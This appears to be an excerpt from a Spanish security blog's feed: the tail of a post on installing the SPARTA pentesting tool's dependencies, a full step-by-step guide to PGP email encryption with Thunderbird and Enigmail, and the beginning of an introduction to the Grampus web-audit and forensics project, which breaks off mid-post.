break-word;"><em style="box-sizing: border-box;"><span style="box-sizing: border-box; font-weight: 700;">apt-get install python-elixir python-qt4</span></em></pre> Aparte de Phyton +Modulos, se requieren las siguientes herramientas para la funcionalidad mínima de&nbsp;<b>SPARTA&nbsp;</b>:<br /> - <b>nmap </b>(para agregar hosts)<br /> - <b>hidra </b>(para la pestaña "Brute")<br /> - <b>cutycapt </b>(para captura de pantalla)<br /> <br /> <pre style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Menlo, Monaco, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.42857143; margin-bottom: 20px; overflow: auto; padding: 9.5px; word-break: break-all; word-wrap: break-word;"><em style="box-sizing: border-box;"><span style="box-sizing: border-box; font-weight: 700;">apt-get install nmap hydra cutycapt</span></em></pre> En Kali, para asegurarse de que tiene todas las herramientas utilizadas por el uso de configuración por defecto de SPARTA:<br /> <br /> <pre style="background-color: whitesmoke; border-radius: 4px; border: 1px solid rgb(204, 204, 204); box-sizing: border-box; color: #333333; font-family: Menlo, Monaco, Consolas, 'Courier New', monospace; font-size: 13px; line-height: 1.42857143; margin-bottom: 20px; overflow: auto; padding: 9.5px; word-break: break-all; word-wrap: break-word;"><em style="box-sizing: border-box;"><span style="box-sizing: border-box; font-weight: 700;">apt-get install ldap-utils rwho rsh-client x11-apps finger</span></em></pre> <br /> Para mayor información de la herramienta visitar el sitio <a href="http://sparta.secforce.com/" rel="nofollow" target="_blank">oficial</a><br /> <br /> Una gracias por esta prometodora herramientas a sus autores:<br /> <b>Antonio Quina (@st3r30byt3) Leonidas Stavliotis (@lstavliotis)</b><div class="widget-area col-md-4" id="secondary" role="complementary" style="border: 0px; box-sizing: border-box; color: #4cb2ed; float: left; font-family: 'Open Sans', sans-serif; font-size: 13px; margin: -20px 0px 0px; min-height: 1px; outline: 0px; padding: 0px 15px; position: relative; vertical-align: baseline; width: 380px;"> <aside class="widget widget_recent_entries" id="recent-posts-2" style="background: rgb(255, 255, 255); box-sizing: border-box; color: #3a3a3a; margin: 0px 0px 1.5em;"></aside></div> <br />Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-27648543585920368002015-03-02T15:14:00.000-05:002015-03-02T16:52:40.167-05:00<div style="text-align: center;"> <img src="http://dev.weavervsworld.com/projects/ptbirdeniggpg/pcs/ptbirdeniggpg.png" height="213" width="640" /></div> <div style="text-align: center;"> <br /></div> <br /> El cifrado de correo para los usarios mas comunes y/o empresas les parece absurdo invertir en tiempo y dinero en este tipo de controles. claro esta que estas empresas no han evaluado su información y si existe información confidencial viajando por los correo de sus empleados.<br /> <br /> <div style="text-align: justify;"> para el tema de cifrado de correo se maneja el protocolo <b>PGP&nbsp;</b><b>(</b><i style="background-color: white; color: #252525; font-family: sans-serif; font-size: 14px; line-height: 22.3999996185303px;"><b>Pretty Good Privacy)&nbsp;</b></i>el cual es un metodo para proteger los email's en la capa de aplicacion de la pila <b>TCP/IP.</b></div> <div style="text-align: justify;"> <b><span style="font-size: large;"><br /></span></b></div> <div style="text-align: justify;"> para no parafrasear en <b><a href="http://es.wikipedia.org/wiki/Pretty_Good_Privacy" target="_blank">wikipedia</a></b>&nbsp;podrán hallar mas información y recursos sobre el funcionamiento del protocolo <b>PGP</b>.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Gestionar la seguridad de los correos electrónico requiere algo de esfuerzo y existen miles de herramientas <b>OpenSource</b>&nbsp;para cumplir el objetivo y facilitarnos el trabajo. Existen algunas iniciativas que tienen como objetivo facilitar la gestión <b>PGP</b>, por ejemplo&nbsp;<a href="http://www.openpgp.org/" target="_blank"><b>OpenPGP</b>&nbsp;</a><b><a href="https://keybase.io/" rel="nofollow" target="_blank">Keybase</a></b>,<br /> <br /></div> <div style="text-align: justify;"> <div style="text-align: justify;"> Al final la idea es sencilla. Los emails se cifran con la llave pública del destinatario. Luego, por otro lado, cuando el destinatario recibe mensajes de correo cifrados, los tiene que descifrar con su llave privada que solo él o ella conoce. Cualquier persona que consiga interceptar (<a href="http://es.wikipedia.org/wiki/Ataque_Man-in-the-middle" target="_blank"><b>man in the middle</b></a>) la comunicación verá caracteres extraños sin sentido.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <div class="separator" style="clear: both;"> Hay que tener en cuenta que el uso de&nbsp;<b>PGP</b>&nbsp;no cifra sus emails por completo es decir la información del remitente, destinatario y el asunto del correo siguen sin cifrar. Cifrar la información del remitente y el destinatario no es todavía posible en el sistema de email existente. Lo que el uso de Thunderbird con el Enigmail add-on te proporciona es una manera fácil de cifrar el contenido de su email<b>.</b></div> <div> <b><br /></b></div> Dado que para este sistema todos aquellos que deseen enviarte un correo cifrado deberían conocer tu llave publica, Podemos dar de alta nuestra llave publica en un servidor especializado para esto. un ejemplo de esto es <b><a href="http://www.rediris.es/keyserver/index.html.es" rel="nofollow" target="_blank">Rediris</a>. (</b>Estos servidores hacen de directorio.) el mismo enigmail tiene esta opcion para subir la llave la cual no vamos tratar en este tema.</div> <div style="text-align: justify;"> <b><br /></b></div> Finalmente, con <b>PGP </b>también puedes firmar tu email con tu llave privada, así demuestras al receptor que eres tú y solo tú quién ha escrito ese correo electrónico, puesto que la firma se verifica con la llave pública correspondiente.<br /> <br /> Pero la idea de este post es que las personas menos técnicas que se preocupan por la seguridad de su información puedan cifrar sus correos fácilmente y de una manera completamente gratuita.<br /> <br /></div> <div> <b>CIFRADO DE CORREOS PARA PERSONAS NO&nbsp;TÉCNICAS&nbsp;:</b></div> <div style="text-align: justify;"> Para personas no técnicas y que hacen uso de un buen cliente de correo GNU como lo es <b><a href="https://www.mozilla.org/es-ES/thunderbird/" target="_blank">Thunderbird</a>&nbsp;</b>les facilita todo el trabajo con un plugin especial como lo es <b><a href="https://www.enigmail.net/home/index.php" target="_blank">Enigmail</a>&nbsp;</b>que permite gestionar mensajes de correo electrónico firmados o cifrados con el estándar <b>OpenPGP</b>.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <div> <b>Engimail </b>esta basado en criptografía de llave pública o criptografía asimétrica. En este método, cada individuo debe generar su propio par de llaves. La primera llave se conoce como llave privada. Esta se halla protegida por una contraseña o una frase clave protegida y nunca compartida con nadie.</div> <div> <br /></div> <div> La segunda llave es conocida como la llave pública. Esta llave puede ser compartida con cualquiera que desees intercambiar correos cifrados. Una vez que tengas la llave pública de tu receptor puedes empezar a enviar correos electrónicos cifrados a dicha persona. Sólo esta será capaz de descifrar y leer tus correos electrónicos, debido a que es la única persona que tiene acceso a la llave privada que se empareja con esta.</div> </div> <div> <br /> Para instalar <b>Enigmail</b>, en <b>Thunderbird </b>nos vamos a <b>Herramientas &gt; Complementos </b>y en la caja de búsqueda que dice Buscar complementos escribiremos la palabra <b>enigmail</b>. Entonces nos saldrá este cuadro y le daremos al botón Instalar.</div> <div> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPcc2TgC5uCPm_47Oelh4u2pEQTKtRNPOa5wuEOKvLNSPatK_rvU2KNILcQjCDTqXNPmUdxX-wt_9KLjFPREi70z0oS0JqxV5nYdj9LYr_P-ZtXkPUxYaXV018takGkNnJ66BXWsONqzI/s1600/extension.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPcc2TgC5uCPm_47Oelh4u2pEQTKtRNPOa5wuEOKvLNSPatK_rvU2KNILcQjCDTqXNPmUdxX-wt_9KLjFPREi70z0oS0JqxV5nYdj9LYr_P-ZtXkPUxYaXV018takGkNnJ66BXWsONqzI/s1600/extension.png" height="50" width="640" /></a></div> <div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Tras instalar el plugin, <b>Thunderbird </b>nos pedirá que reiniciemos la aplicación. Y cuando reiniciemos, Thunderbird iniciará automáticamente el asistente de instalación de Enigmail. podemos optar por cerrarlo y usar alguna otra APP PGP<b>&nbsp;</b>o bien seguir el asistente e instalar el recomendado de <b>Thunderbird - GnuPG. </b>bien se instala&nbsp;<b>Gpg4win</b> que es un paquete de programas que contiene entre otros al <b>GnuPG</b>. Por tanto, en las siguientes partes cuando se hable de <b>Gpg4win </b>y <b>GnuPG </b>considera a ambos como sinónimos.</div> <div style="text-align: justify;"> <b><br /></b></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS07VUwX7PrMo7Yd_eCyECGrkNzaTPW1upSD40pxAA7zW55nOkQluYRjgCl_Jzyqh_UOulHtaYViEp-uqqpPWR6JRtcDibDp3h5M1rrwVO7egJHz3xZkAh6fXODt1-EpfOyg5Ck8ys2lo/s1600/wizard1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiS07VUwX7PrMo7Yd_eCyECGrkNzaTPW1upSD40pxAA7zW55nOkQluYRjgCl_Jzyqh_UOulHtaYViEp-uqqpPWR6JRtcDibDp3h5M1rrwVO7egJHz3xZkAh6fXODt1-EpfOyg5Ck8ys2lo/s1600/wizard1.png" height="528" width="640" /></a></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Como el post esta dirigido para todo publico incluyendo en especial a los no técnicos, usaremos el asistente de instalacion de <b>Thunderbird</b>&nbsp;y haremos clic en el boton <b>install.</b></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8vBW7EQgfCdpOtTRqORrYVJF3xj04K4HmH39Bi9_pBYD7KgdRL6RgqgDWp7Y3wvw-VBH4dO0zwGv74DyYq-f0B3iChYIF5pCNSkSmJJ-ZKCNM7deE1zke59aDlJ6GilYFgutRHs2k5y0/s1600/wizard2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8vBW7EQgfCdpOtTRqORrYVJF3xj04K4HmH39Bi9_pBYD7KgdRL6RgqgDWp7Y3wvw-VBH4dO0zwGv74DyYq-f0B3iChYIF5pCNSkSmJJ-ZKCNM7deE1zke59aDlJ6GilYFgutRHs2k5y0/s1600/wizard2.png" height="203" width="400" /></a></div> <div class="separator" style="clear: both; text-align: center;"> Confirmamos el idioma.</div> <div style="text-align: justify;"> <b><br /></b></div> <div class="separator" style="clear: both; text-align: center;"> </div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI5mkdyLlNlok1lXHPxEyAE94hNdvUShvBdFFjN1fIMh1j2IkYCzr2TZyyT1-MafzkLftUNI8MTpZUW5lIp_lyFgL2WbTHf98XkPgAAgYdf2TVoutTucrUi6lsmADW9WIjYE2Kl6-nkMg/s1600/wizard3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjI5mkdyLlNlok1lXHPxEyAE94hNdvUShvBdFFjN1fIMh1j2IkYCzr2TZyyT1-MafzkLftUNI8MTpZUW5lIp_lyFgL2WbTHf98XkPgAAgYdf2TVoutTucrUi6lsmADW9WIjYE2Kl6-nkMg/s1600/wizard3.png" height="301" width="400" /></a></div> <div class="separator" style="clear: both; text-align: center;"> Procedemos a Instalar Gpg4win con el Wizard.</div> <div style="text-align: justify;"> <b><br /></b></div> <div style="text-align: justify;"> Una vez finalizada la instalacion de&nbsp;<span style="text-align: center;"><b>Gpg4win, </b>Hacemos clic en siguiente en el asistente de <b>enigmail.</b></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYaeOIAC2F4Jka2s9h6nwU_W9C1XhSrBfVxnoyJAmrohAlqd2EPcDoD2tixEQxLNzhacFgzIYJQ1hm2qR6kzxl1AIDWuw24z9mA_gLtJ7p5eIhkEMg69hcazt5ft6pAh3U_pEhyphenhyphenOBPlFI/s1600/wizard4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgYaeOIAC2F4Jka2s9h6nwU_W9C1XhSrBfVxnoyJAmrohAlqd2EPcDoD2tixEQxLNzhacFgzIYJQ1hm2qR6kzxl1AIDWuw24z9mA_gLtJ7p5eIhkEMg69hcazt5ft6pAh3U_pEhyphenhyphenOBPlFI/s1600/wizard4.png" height="515" width="640" /></a></div> <div style="text-align: justify;"> <span style="text-align: center;"><b><br /></b></span></div> <div style="text-align: justify;"> <span style="font-size: large;"><b>Enigmail</b>&nbsp;ofrece: tres alternativas para el manejo del cifrado de tu correo:</span></div> <div style="text-align: justify;"> La opción por defecto &nbsp;es cifrar los correos electrónicos si tienes la llave pública de la otra persona. Enigmail cifrará el correo que &nbsp;envíes, pero dejará los otros mensajes no-cifrados si no tienes la llave pública del destinatario todavía.&nbsp;</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> También tienes la opción de cifrar los correos todo el tiempo a los destinatarios de los que tienes las llaves PGP, la cual significa que tendrás que buscar todas las llaves públicas faltantes en tu lista de contactos.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> La otra opción será apagar completamente el cifrado automático y usar la PGP solamente cuando lo hagas directamente.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Yo optare por la ultima opcion y solo cifrare los correos a quienes desee enviarle en alguna ocasion.</div> <div style="text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUzC_QD-PmHSGsLMjlrx2sy-CrSuyPu39SHGEdLsv9KWaSgax8iogL1TY1fFoBS6VWX3nKNGcGmWfXeZNZvm7rfEcEzpy7xOhamFv6qVUict1CmUYPSYHisif4PqA0HOBcbAzVAM_3-W0/s1600/wizard5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUzC_QD-PmHSGsLMjlrx2sy-CrSuyPu39SHGEdLsv9KWaSgax8iogL1TY1fFoBS6VWX3nKNGcGmWfXeZNZvm7rfEcEzpy7xOhamFv6qVUict1CmUYPSYHisif4PqA0HOBcbAzVAM_3-W0/s1600/wizard5.png" height="531" width="640" /></a></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> <div> Esta opción es para firmar digitalmente todos los correos salientes. Firmando tus mensajes con &nbsp;PGP te permite la posibilidad de garantizar al destinatario que podrá comprobar que fuiste tú quien le envío el mensaje y que el contenido del mismo era legitimo. Haz click en el botón que dice ”Firmar mis mensajes por defecto” para activar esta característica.</div> <div> <br /></div> <div> <div> La desventaja de hacer esto, sin embargo, es que también puede hacer notar a cualquier persona con quien intercambies correos, &nbsp;que estás usando PGP. En algunas partes del mundo (entre ellos China, Iran, Bielorrusia, y algunos países del Medio-Oriente), el uso del cifrado sin permiso, aún para el uso personal, es ilegal, así que puede ser que tengas muy buenas razones para no dejar de saber a otros personas que estás usando &nbsp;PGP.</div> <div> <br /></div> <div> Ahora encontraremos una ventana, que nos da una opción que permitirá a <b>Enigmail </b>a hacer algunos cambios a la configuración de <b>Thunderbird</b>.</div> <div> <br /></div> </div> </div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrVGIbrplPDz09P5A8k2XtGv252oTKp5TGQpPpviQaV6ux0h103QFlXCyj76tq5GtTBYm-S8rNwydSXBd2upajJsP-26wKVeoCvCkiEJ36zkzKrRTWGPM3dL-gHwbWJBQdxeWniPZAOjo/s1600/wizard6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrVGIbrplPDz09P5A8k2XtGv252oTKp5TGQpPpviQaV6ux0h103QFlXCyj76tq5GtTBYm-S8rNwydSXBd2upajJsP-26wKVeoCvCkiEJ36zkzKrRTWGPM3dL-gHwbWJBQdxeWniPZAOjo/s1600/wizard6.png" height="273" width="640" /></a></div> <div style="text-align: justify;"> <br /></div> </div> <div style="text-align: center;"> <span style="text-align: justify;">Si damos clic al boton detalles podemos ver cuales son esos cambios.</span></div> <div style="text-align: center;"> <span style="text-align: justify;"><br /></span></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyZ5vZLfyK0bTwbDqhaL_4yqsvoQu5zYCCM4MkkY44YOQnGksxRkUJw5hlQwohO2OPGcN3DofhGJBeEnjejN7HWmoIwCpjdsqfDxnLExtFAp269usnTOn3k9ojaORtRpXDyeIvABvDDKs/s1600/wizard7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyZ5vZLfyK0bTwbDqhaL_4yqsvoQu5zYCCM4MkkY44YOQnGksxRkUJw5hlQwohO2OPGcN3DofhGJBeEnjejN7HWmoIwCpjdsqfDxnLExtFAp269usnTOn3k9ojaORtRpXDyeIvABvDDKs/s1600/wizard7.png" height="295" width="400" /></a></div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Las siguientes opciones pueden ser desmarcadas &nbsp;para una transición mas fluida, si usas <b>PGP/Mime</b> por defecto (veremos eso mas tarde):</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> </div> <ul> <li>Desactivar texto fluido</li> <li>Ver cuerpo del mensaje en texto sencillo</li> <li>No redactar mensajes en HTML</li> </ul> <br /> <div style="text-align: justify;"> La opción final evita problemas potenciales en el cifrado y el descifrado de los correos. Ten presente que seleccionar esta casilla remueve la habilidad de enviar texto formateado(Negritas,cursivas,alineación, etc...). Después de revisar los cambios, dale un click al botón “Aceptar.”</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Ahora deberemos crear nuestras respectivas llaves publica y privada</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdu5LO4F3lk0yfOXAPS0c-EWEFzGQvAvU2eXRt6Ih-GsoI-WezbDyHcnEItHNPBJlUv3B375nhd6hfQLLms9hJ17h-LF-F516Oh8ziRJiGMq1kJCzKBgohVNX7lWTziZzNcdpGloOu388/s1600/wizard8.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdu5LO4F3lk0yfOXAPS0c-EWEFzGQvAvU2eXRt6Ih-GsoI-WezbDyHcnEItHNPBJlUv3B375nhd6hfQLLms9hJ17h-LF-F516Oh8ziRJiGMq1kJCzKBgohVNX7lWTziZzNcdpGloOu388/s1600/wizard8.png" height="185" width="640" /></a></div> <div style="text-align: center;"> Seleccionaremos que deseamos crear nuestra llaves.</div> <div style="text-align: center;"> <br /></div> <div style="text-align: justify;"> A menos que &nbsp;hayas &nbsp;configurado más de una cuenta de correo, <b>Enigmail </b>escogerá la cuenta que ya has configurado. La primera cosa que debes hacer es elegir una contraseña fuerte para tu llave privada.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5bjqd2MCKLJ6jW_5xOee52VwnMDTo3bMVn4RrHL02WV1WNeebvPTOIT7ckDGqS0oQq263wv1eIW9Y1WWSnqfiLgvZOBsnNNFAF6LjLHmXX7_aeVljTrrR9zjRGCAbeXLyEHayUTpneM/s1600/wizard9.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjp5bjqd2MCKLJ6jW_5xOee52VwnMDTo3bMVn4RrHL02WV1WNeebvPTOIT7ckDGqS0oQq263wv1eIW9Y1WWSnqfiLgvZOBsnNNFAF6LjLHmXX7_aeVljTrrR9zjRGCAbeXLyEHayUTpneM/s1600/wizard9.png" height="545" width="640" /></a></div> <div class="separator" style="clear: both; text-align: center;"> Digitamos nuestra contraseña robusta&nbsp;</div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> <b>Enigmail</b> mostrará algunos datos sobre nuestra llave privada como también los ajustes de la configuración.</div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7yVKqcp_wy-jnPN9sASpd4oOXFTZwWybkKJ2yiw5GFzb7KuVonLsl9KxdxrTTM0BK6UovUIjTbXo_DfjIlY2eEYlG3AhI8DIjpGgPi5lXv0ZAPAURtQrkZCYKm2INgUuanJ3T5U2p6uA/s1600/wizard10.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7yVKqcp_wy-jnPN9sASpd4oOXFTZwWybkKJ2yiw5GFzb7KuVonLsl9KxdxrTTM0BK6UovUIjTbXo_DfjIlY2eEYlG3AhI8DIjpGgPi5lXv0ZAPAURtQrkZCYKm2INgUuanJ3T5U2p6uA/s1600/wizard10.png" height="224" width="640" /></a></div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> Es posible extender el tiempo de vida de una llave existente dándole una nueva fecha de caducidad, como tambien es posible reemplazarla con una nueva. Ambos procesos requieren contactar a las personas que te envían email cifrados y asegurarte de que ellos reciban la nueva llave.</div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> <b>Enigmail </b>generará la llave y cuando esté completa, una ventana se abrirá solicitando que generes un certificado de revocación. Este certificado de revocación es importante por que te permitirá invalidar tus llaves públicas y privadas.</div> <div class="separator" style="clear: both; text-align: justify;"> Es también importante notar que el hecho de borrar la llave privada no invalida la llave pública y puede llevarte a recibir correos cifrados que no podrás descifrar</div> <div class="separator" style="clear: both; text-align: center;"> </div> <br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjKsPdVHpw4l4EEVUfaB9d8RGfQyB7I6r_WpZML28S2ZUsXzYb-XrT2ywkyL3f_jANTuqehSM2pUfktQopjnJCwIDDMa7C6cfXV0HtfsERB2CVtqYcET3HVvz6xOqtpKKH5fcEokQJsxU/s1600/wizard11.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjKsPdVHpw4l4EEVUfaB9d8RGfQyB7I6r_WpZML28S2ZUsXzYb-XrT2ywkyL3f_jANTuqehSM2pUfktQopjnJCwIDDMa7C6cfXV0HtfsERB2CVtqYcET3HVvz6xOqtpKKH5fcEokQJsxU/s1600/wizard11.png" height="532" width="640" /></a></div> <div class="separator" style="clear: both; text-align: center;"> Guardamos y elegimos una contraseña para el certificado</div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhpMBOYCkC8XSDgGY_4xMkcB4GbCLrXGqKbEWEx5XxDVcsIoxXA9dVrUrnkaq8KZSbD2niZ3f7o1UgCvJhMpbdudpk_Lxh8upe_XIRISCOiVs88KiguJZsUq83JQsowQv_VaLD-GvuC3s/s1600/wizard12.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhpMBOYCkC8XSDgGY_4xMkcB4GbCLrXGqKbEWEx5XxDVcsIoxXA9dVrUrnkaq8KZSbD2niZ3f7o1UgCvJhMpbdudpk_Lxh8upe_XIRISCOiVs88KiguJZsUq83JQsowQv_VaLD-GvuC3s/s1600/wizard12.png" height="536" width="640" /></a></div> <div class="separator" style="clear: both; text-align: center;"> Finalizamos con la generación del certificado</div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTUoGmDOYIdEHHBSSam29eo46DbezKyfVcOLUFZmYBVS6W1HbcMJIDdWsyB9zSlTxpRBVyItzG3yIhyphenhyphenBYrKZdpFsNeGQIZ4SO98eERjqz2Uq2T0DfIIruH_I3sihzz7bkPmbHT56cOm2M/s1600/wizard13.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTUoGmDOYIdEHHBSSam29eo46DbezKyfVcOLUFZmYBVS6W1HbcMJIDdWsyB9zSlTxpRBVyItzG3yIhyphenhyphenBYrKZdpFsNeGQIZ4SO98eERjqz2Uq2T0DfIIruH_I3sihzz7bkPmbHT56cOm2M/s1600/wizard13.png" height="131" width="640" /></a></div> <div class="separator" style="clear: both; text-align: center;"> Finalizamos con configurar e instalar <b>enigmail </b>para <b>thunderbird</b></div> <div class="separator" style="clear: both; text-align: center;"> <b><br /></b></div> <div class="separator" style="clear: both; text-align: justify;"> <b><br /></b></div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div style="text-align: justify;"> <b>CONFIGURACIÓN&nbsp;OPCIONAL ( USO PGP/MIME)</b><br /> <br /> Configurar <b>PGP/MIME,</b>&nbsp;nos permitirá hacer un uso mas fácil el enviar cifrado y adjuntos.<br /> <br /> Podemos encontrar estos ajustes haciendo clic en el menu&nbsp;<b>Herramientas &gt;</b>&nbsp;<b>Configuración&nbsp;de &nbsp;la Cuenta</b><br /> y en la ventana de configuracion hacemos clic en <b>Seguridad OpenPGP</b>.<br /> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzPjProWRv08HJcsFipKGIXUkO_rVY-3a_eYcBP2Tm_OjMDgEakmpcRVgTBrh4rMXvvZv-pzoStAYv6LGNpHbYSXYp2LMhL0ELIkKZhbeQ5bWK1pgkzYILqa5mbT0Wkt6eNI5J0P6b640/s1600/MIME1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzPjProWRv08HJcsFipKGIXUkO_rVY-3a_eYcBP2Tm_OjMDgEakmpcRVgTBrh4rMXvvZv-pzoStAYv6LGNpHbYSXYp2LMhL0ELIkKZhbeQ5bWK1pgkzYILqa5mbT0Wkt6eNI5J0P6b640/s1600/MIME1.png" height="411" width="640" /></a></div> <div class="separator" style="clear: both; text-align: center;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> <br /></div> <div class="separator" style="clear: both; text-align: justify;"> <b>NOTA: </b>Al activar esta opcion hay que tener presente que solo nos comunicaremos con los que posean esta misma tecnologia.</div> <div class="separator" style="clear: both; text-align: justify;"> <b><br /></b></div> <div class="separator" style="clear: both; text-align: justify;"> <b><br /></b></div> <div class="separator" style="clear: both;"> <br /></div> <br /></div> Atoiohttp://www.blogger.com/profile/05839122536208921999noreply@blogger.com0tag:blogger.com,1999:blog-4993754786350617036.post-82795526913206524742014-11-11T14:28:00.001-05:002015-03-04T16:43:44.111-05:00<div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2BKtuQSyPIOGHBH2F2RB_S-shS5RIHOkOBASQmOGQorU20DxTQvbmYlJRZ5XtS_S9nKV9tNqipkcWTKJRXXDBTKmxmVpOonhgDyBoUECTA8Von1LfM12fwQ0EycRqfMlKCARarov0QYg/s1600/Propuesta-Grampus.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2BKtuQSyPIOGHBH2F2RB_S-shS5RIHOkOBASQmOGQorU20DxTQvbmYlJRZ5XtS_S9nKV9tNqipkcWTKJRXXDBTKmxmVpOonhgDyBoUECTA8Von1LfM12fwQ0EycRqfMlKCARarov0QYg/s1600/Propuesta-Grampus.jpg" height="320" width="320" /></a></div> <br /> Grampus Project nace para todos aquellos usuarios que necesitan automatizar sus procesos en auditorias web.<br /> <br /> Como sabemos la recopilación de información a la hora de realizar un ataque a un objetivo es esencial y a veces este proceso puede ser muy largo y pesado.<br /> <div> <br /></div> <div> En estos momento el proyecto se encuentra en su fase <b>BETA </b>y es una herramienta muy prometedora, funcional e ideal para trabajo de Pentesters&nbsp;y Forense.</div> <div> <br /></div> <div> <div> <b><span style="font-size: large;">El proyecto Grampus se divide de esta manera :</span></b></div> <div> <ul> <li>Forensic Grampus</li> <li>Anti-Forensic Grampus</li> <li>Grampus</li> <li>Anti Grampus</li> </ul> <div> Todas estas herramienta son programadas en python la cual lo hace multiplataforma</div> </div> </div> <div> <br /></div> <div> <div style="text-align: justify;"> <b><span style="font-size: large;">Forensic Grampus :&nbsp;</span></b></div> <div style="text-align: justify;"> <span style="text-align: justify;"><br /></span></div> <div style="text-align: justify;"> <span style="text-align: justify;">Es una herramienta forense que pretende extraer y analizar los&nbsp;meta-datos&nbsp;encontrados en documentos,&nbsp;imágenes&nbsp;, archivos y aplicaciones.</span></div> <div style="text-align: justify;"> Esta totalmente programado en Python por lo que es la perfecta alternativa multi-plataforma para Forensic FOCA superando a esta con creces en cuanto a extensiones soportadas.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> 